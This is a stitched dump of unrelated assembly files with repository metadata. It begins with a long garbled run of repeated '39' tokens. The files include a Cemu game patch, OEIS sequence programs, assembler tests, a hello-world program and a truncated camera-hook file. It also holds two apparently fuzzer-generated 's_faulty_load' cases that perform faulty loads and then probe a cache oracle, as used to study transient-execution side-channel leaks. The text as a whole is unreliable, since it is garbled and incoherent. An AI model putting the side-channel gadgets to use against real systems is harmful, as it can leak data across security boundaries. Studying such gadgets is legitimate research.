39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
37.602564
2,999
0.662462
e2419c22f36907c2ece89dd534e303bebd13e8b1
1,211
asm
Assembly
src/XenobladeChroniclesX/Mods/HudChangeTimeFromEmanual/patch_hudtime.asm
lilystudent2016/cemu_graphic_packs
a7aaa6d07df0d5ca3f6475d741fb8b80fadd1a46
[ "CC0-1.0" ]
1,002
2017-01-10T13:10:55.000Z
2020-11-20T18:34:19.000Z
src/XenobladeChroniclesX/Mods/HudChangeTimeFromEmanual/patch_hudtime.asm
lilystudent2016/cemu_graphic_packs
a7aaa6d07df0d5ca3f6475d741fb8b80fadd1a46
[ "CC0-1.0" ]
347
2017-01-11T21:13:20.000Z
2020-11-27T11:33:05.000Z
src/XenobladeChroniclesX/Mods/HudChangeTimeFromEmanual/patch_hudtime.asm
lilystudent2016/cemu_graphic_packs
a7aaa6d07df0d5ca3f6475d741fb8b80fadd1a46
[ "CC0-1.0" ]
850
2017-01-10T06:06:43.000Z
2020-11-06T21:16:49.000Z
[XCX_EMANUAL_1E] moduleMatches = 0xF882D5CF ; 1.0.1E ; ---------------------------------------------------------------------------- ; WHO : menu::MenuMainMenu::funcManual((int)) ; WHAT : Replace eManual function with timeManipulate function _openTimeManipulate = 0x02C7A2F0 _isFinishTM = 0x02C7A4CC ; MenuTask::isFinishTimeManipulate((void)) 0x02B83CB4 = bl _openTimeManipulate 0x02B83CCC = bl _openTimeManipulate 0x02B83C7C = bl _isFinishTM 0x02B83C98 = bl _isFinishTM ################################################################################# [XCX_EMANUAL_2U] moduleMatches = 0x30B6E091 ; 1.0.2U _openTimeManipulate = 0x02C7A290 _isFinishTM = 0x02C7A46C ; MenuTask::isFinishTimeManipulate((void)) 0x02B83CA4 = bl _openTimeManipulate 0x02B83CBC = bl _openTimeManipulate 0x02B83C6C = bl _isFinishTM 0x02B83C88 = bl _isFinishTM ################################################################################# [XCX_EMANUAL_1U] moduleMatches = 0xAB97DE6B ; 1.0.1U _openTimeManipulate = 0x02C7A118 _isFinishTM = 0x02C7A2F4 ; MenuTask::isFinishTimeManipulate((void)) 0x02B83C28 = bl _openTimeManipulate 0x02B83C40 = bl _openTimeManipulate 0x02B83BF0 = bl _isFinishTM 0x02B83C0C = bl _isFinishTM
28.833333
81
0.646573
c4fb00adf717fafbb1a82f849ba92b131685f374
805
asm
Assembly
programs/oeis/184/A184621.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/184/A184621.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/184/A184621.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A184621: a(n) = floor((n-h)*s+h), where s=2+sqrt(2) and h=1/4; complement of A184620. ; 2,6,9,13,16,19,23,26,30,33,36,40,43,47,50,54,57,60,64,67,71,74,77,81,84,88,91,94,98,101,105,108,112,115,118,122,125,129,132,135,139,142,146,149,153,156,159,163,166,170,173,176,180,183,187,190,194,197,200,204,207,211,214,217,221,224,228,231,234,238,241,245,248,252,255,258,262,265,269,272,275,279,282,286,289,293,296,299,303,306,310,313,316,320,323,327,330,333,337,340 mov $3,$0 mul $0,2 seq $0,93001 ; Least k such that Sum_{r=n+1..k} r is greater than or equal to the sum of the first n positive integers (i.e., the n-th triangular number, A000217(n)). Or, least k such that (sum of first n positive integers) <= (sum of numbers from n+1 up to k). mul $0,2 sub $0,1 div $0,4 add $0,2 mov $2,$3 mul $2,2 add $0,$2
57.5
369
0.686957
715ab669a14866a020fc22c49a9d8211a6224349
132
asm
Assembly
tests/fn_le/21.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
414
2016-10-14T22:39:20.000Z
2022-03-30T07:52:44.000Z
tests/fn_le/21.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
100
2018-03-22T16:12:24.000Z
2022-03-26T09:19:23.000Z
tests/fn_le/21.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
47
2017-06-29T15:12:13.000Z
2022-03-10T04:50:51.000Z
#ruledef { ld {addr: u16} => 0xaa @ le(addr) } ld 0 ; = 0xaa0000 ld 12 ; = 0xaa0c00 ld 0xff ; = 0xaaff00 ld 0x1234 ; = 0xaa3412
14.666667
37
0.598485
2d97937ac8b6f783f2d426cfb49957d1b2ac30ea
397
asm
Assembly
programs/oeis/011/A011873.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/011/A011873.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/011/A011873.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A011873: a(n) = floor(n(n-1)/20). ; 0,0,0,0,0,1,1,2,2,3,4,5,6,7,9,10,12,13,15,17,19,21,23,25,27,30,32,35,37,40,43,46,49,52,56,59,63,66,70,74,78,82,86,90,94,99,103,108,112,117,122,127,132,137,143,148,154,159,165,171,177,183,189,195,201,208,214,221,227,234,241,248,255,262,270,277,285,292,300,308,316,324,332,340,348,357,365,374,382,391,400,409,418,427,437,446,456,465,475,485 bin $0,2 div $0,10
66.166667
340
0.677582
31ebcbc20fc770379f28f51c17139a321e5965ad
258
asm
Assembly
programs/oeis/006/A006001.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/006/A006001.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/006/A006001.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A006001: Number of paraffins. ; 1,4,10,22,43,76,124,190,277,388,526,694,895,1132,1408,1726,2089,2500,2962,3478,4051,4684,5380,6142,6973,7876,8854,9910,11047,12268,13576,14974,16465,18052,19738,21526 mov $1,$0 add $0,1 bin $0,3 add $1,$0 mul $1,3 add $1,1
25.8
168
0.717054
e7e985db96c6a6b93e10105e8b71c1ea6bf31af2
514
asm
Assembly
programs/oeis/157/A157932.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/157/A157932.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/157/A157932.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A157932: Numbers k such that (3^(35*k) + 5^(21*k) + 7^(15*k)) mod 105 is prime. ; 0,4,6,8,12,16,18,20,24,28,30,32,36,40,42,44,48,52,54,56,60,64,66,68,72,76,78,80,84,88,90,92,96,100,102,104,108,112,114,116,120,124,126,128,132,136,138,140,144,148,150,152,156,160,162,164,168,172,174,176,180,184,186,188,192,196,198,200,204,208,210,212,216,220,222,224,228,232,234,236,240,244,246,248,252,256,258,260,264,268,270,272,276,280,282,284,288,292,294,296 mov $1,$0 mul $0,6 add $1,14 mod $1,4 add $0,$1 div $0,4 mul $0,2
46.727273
364
0.675097
231899ff85f8b0479b0b017f9d78ba788ef18628
762
asm
Assembly
nasm/hola_mundo.asm
pysogge/assembly_hello_world
4ef5114b03d9640b285e176231254e6c5bc85efb
[ "MIT" ]
1
2022-02-21T15:04:53.000Z
2022-02-21T15:04:53.000Z
nasm/hola_mundo.asm
pysogge/assembly_hello_world
4ef5114b03d9640b285e176231254e6c5bc85efb
[ "MIT" ]
null
null
null
nasm/hola_mundo.asm
pysogge/assembly_hello_world
4ef5114b03d9640b285e176231254e6c5bc85efb
[ "MIT" ]
null
null
null
; ------------------------------------------------------------------------------ ; Writes "Hola, mundo" to the console using a C library. Runs on Linux or any ; other system that does not use underscores for symbols in its C library. To ; assemble and run: ; ; /usr/local/bin/nasm -f macho64 hola_mundo.asm && gcc -arch x86_64 -o hola_mundo.out hola_mundo.o && ./hola_mundo.out ; ------------------------------------------------------------------------------ global _main extern _puts section .text _main: sub rsp, 8 lea rdi, [message] ; Use this instead of 'mov rdi, message' call _puts add rsp, 8 ret section .data message: default rel ; Add 'default rel' under label db "Hola, mundo",0
31.75
124
0.509186
2426e56d81fa5aac799181e6cd256b18fde8b27c
506
asm
Assembly
oeis/348/A348253.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/348/A348253.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/348/A348253.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A348253: Indices of records in A348246. ; Submitted by Jamie Morken(s1) ; 1,2,3,4,5,7,10,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277,281,283,293 mov $1,1 mov $2,1 lpb $0 mov $3,$2 sub $3,2 div $3,2 lpb $3 add $2,1 mov $4,$1 gcd $4,$2 cmp $4,1 cmp $4,0 sub $3,$4 lpe sub $0,1 add $2,1 mul $1,$2 lpe mov $0,$2
21.083333
227
0.604743
1902bfa229efe5da85d6c13c5d21ae9623d065c4
16
asm
Assembly
src/main/fragment/mos6502-common/vbsyy_lt_0_then_la1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vbsyy_lt_0_then_la1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vbsyy_lt_0_then_la1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
cpy #0 bmi {la1}
8
9
0.625
3ba9602ecb868514b1d32d70798d7dc7c01870f7
6,730
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_21829_113.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_21829_113.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_21829_113.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x7db5, %rsi lea addresses_normal_ht+0x1afb5, %rdi nop nop and $13945, %rbx mov $7, %rcx rep movsq nop nop nop nop inc %rdx lea addresses_UC_ht+0xe6d, %rsi lea addresses_D_ht+0xf575, %rdi clflush (%rdi) nop nop nop nop nop inc %r8 mov $6, %rcx rep movsw nop nop xor %rdx, %rdx lea addresses_WC_ht+0x1afb5, %rcx nop cmp %rdx, %rdx mov $0x6162636465666768, %r8 movq %r8, (%rcx) nop nop add %rsi, %rsi lea addresses_WC_ht+0x1c7b5, %rcx nop nop nop nop add $19463, %r13 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 vmovups %ymm2, (%rcx) nop nop nop xor %r8, %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r9 push %rax push %rbp push %rcx push %rdi // Load lea addresses_WC+0x3765, %r10 cmp %rbp, %rbp mov (%r10), %r9w nop nop sub %rbp, %rbp // Store mov $0x718a9e0000000565, %r12 clflush (%r12) nop dec %rcx movw $0x5152, (%r12) nop nop nop nop dec %r9 // Store mov $0x51fc040000000005, %rdi nop nop nop nop nop add $51762, %r10 movb $0x51, (%rdi) nop nop nop nop add %rcx, %rcx // Store mov $0x2c5a8e00000007b5, %rcx xor $23706, %r12 mov $0x5152535455565758, %rbp movq %rbp, %xmm4 vmovups %ymm4, (%rcx) nop nop nop nop xor %rbp, %rbp // Store lea addresses_WC+0xf7b5, %rdi nop nop and $51085, %r12 movb $0x51, (%rdi) nop nop nop add %rbp, %rbp // Store lea addresses_UC+0xa9b5, %rbp nop nop nop sub %rax, %rax mov $0x5152535455565758, %r9 movq %r9, %xmm0 movups %xmm0, (%rbp) xor %r9, %r9 // Store lea addresses_UC+0x141b5, %rax nop nop nop sub $55110, %rbp movb $0x51, (%rax) nop nop nop nop sub %r12, %r12 // Faulty Load mov $0x2c5a8e00000007b5, %r9 nop nop nop nop add %r12, %r12 movups (%r9), %xmm0 vpextrq $1, %xmm0, %rcx lea oracles, %r12 and $0xff, %rcx shlq $12, %rcx mov (%r12,%rcx,1), %rcx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_NC', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_NC', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_UC', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': True}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
33.482587
2,999
0.65364
bd4802be361d6cd880df1f2b7f7ca79c31e15544
2,352
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_7_286.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_7_286.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_7_286.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r8 push %rax push %rbx push %rdi // Store lea addresses_normal+0x1c9ee, %r11 nop nop add $46307, %r12 movw $0x5152, (%r11) nop cmp %rbx, %rbx // Store lea addresses_US+0x11b6e, %rdi clflush (%rdi) cmp %r14, %r14 movw $0x5152, (%rdi) nop nop nop nop nop and %r12, %r12 // Store lea addresses_normal+0x1c9ee, %rax nop nop nop nop add %r8, %r8 mov $0x5152535455565758, %r12 movq %r12, %xmm6 vmovaps %ymm6, (%rax) nop nop and $24830, %r12 // Store lea addresses_UC+0x1ad4e, %r14 nop nop xor $40429, %r12 mov $0x5152535455565758, %rax movq %rax, %xmm1 vmovntdq %ymm1, (%r14) nop nop nop add $53917, %r8 // Load lea addresses_WC+0x51ae, %r12 nop cmp $33560, %rax movb (%r12), %r8b nop nop nop nop nop and $50239, %r8 // Load lea addresses_normal+0x1acae, %r8 nop add $41957, %rbx vmovups (%r8), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %r12 nop nop nop nop dec %r11 // Faulty Load lea addresses_normal+0x1c9ee, %r12 and $57136, %rbx movups (%r12), %xmm4 vpextrq $1, %xmm4, %r11 lea oracles, %r14 and $0xff, %r11 shlq $12, %r11 mov (%r14,%r11,1), %r11 pop %rdi pop %rbx pop %rax pop %r8 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': True, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': True, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 6}} {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 6}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'00': 7} 00 00 00 00 00 00 00 */
19.278689
126
0.642857
d3e10ee8b50a16c647b4f45742779f24e9fc69af
4,889
asm
Assembly
WMRInterceptHost/Hook.asm
Triplesalt/WMRSensors
d24e70cd6f3e7238d81b910bea0457030564a125
[ "MIT" ]
26
2019-04-25T07:40:36.000Z
2022-02-20T00:12:15.000Z
WMRInterceptHost/Hook.asm
Triplesalt/WMRSensors
d24e70cd6f3e7238d81b910bea0457030564a125
[ "MIT" ]
5
2019-04-05T16:49:19.000Z
2021-11-30T20:16:38.000Z
WMRInterceptHost/Hook.asm
Triplesalt/WMRSensors
d24e70cd6f3e7238d81b910bea0457030564a125
[ "MIT" ]
1
2022-02-27T18:37:38.000Z
2022-02-27T18:37:38.000Z
INCLUDE Hook.inc _text SEGMENT _Hook_OpenCameraStream PROC ;RCX : camera type (1-4) ;RDX : callback ;R8 : user data ;R9 : handle output pointer POP RAX PUSH R9 SUB RSP, 20h LEA R10, [_PostOpenCameraStream] PUSH R10 ;Backup PUSH RBP PUSH RBX PUSH RSI PUSH RDI PUSH R12 PUSH R13 PUSH R14 PUSH R15 JMP RAX _PostOpenCameraStream: ADD RSP, 20h POP RCX ;handle output pointer TEST EAX, EAX JS _PostOpenCameraStream_Failed PUSH RAX SUB RSP, 20h MOV RCX, QWORD PTR [RCX] CALL _OnOpenCameraStream ADD RSP, 20h POP RAX _PostOpenCameraStream_Failed: RET _Hook_OpenCameraStream ENDP _Hook_CloseCameraStream PROC ;RCX : Camera stream client object PUSH RCX PUSH RDX PUSH R8 PUSH R9 SUB RSP, 20h CALL _OnCloseCameraStream ADD RSP, 20h POP R9 POP R8 POP RDX POP RCX POP RAX ;Return IP ;Backup MOV QWORD PTR [RSP+10h], RBX PUSH RBP MOV RBX, QWORD PTR [HookCloseCameraStream_RBPOffset] ;Custom MOV RBP, RSP ADD RBP, RBX MOVSXD RBX, DWORD PTR [HookCloseCameraStream_StackSize] ;Custom SUB RSP, RBX JMP RAX _Hook_CloseCameraStream ENDP _Hook_StartCameraStream PROC ;RCX : Camera stream client object PUSH RCX PUSH RDX 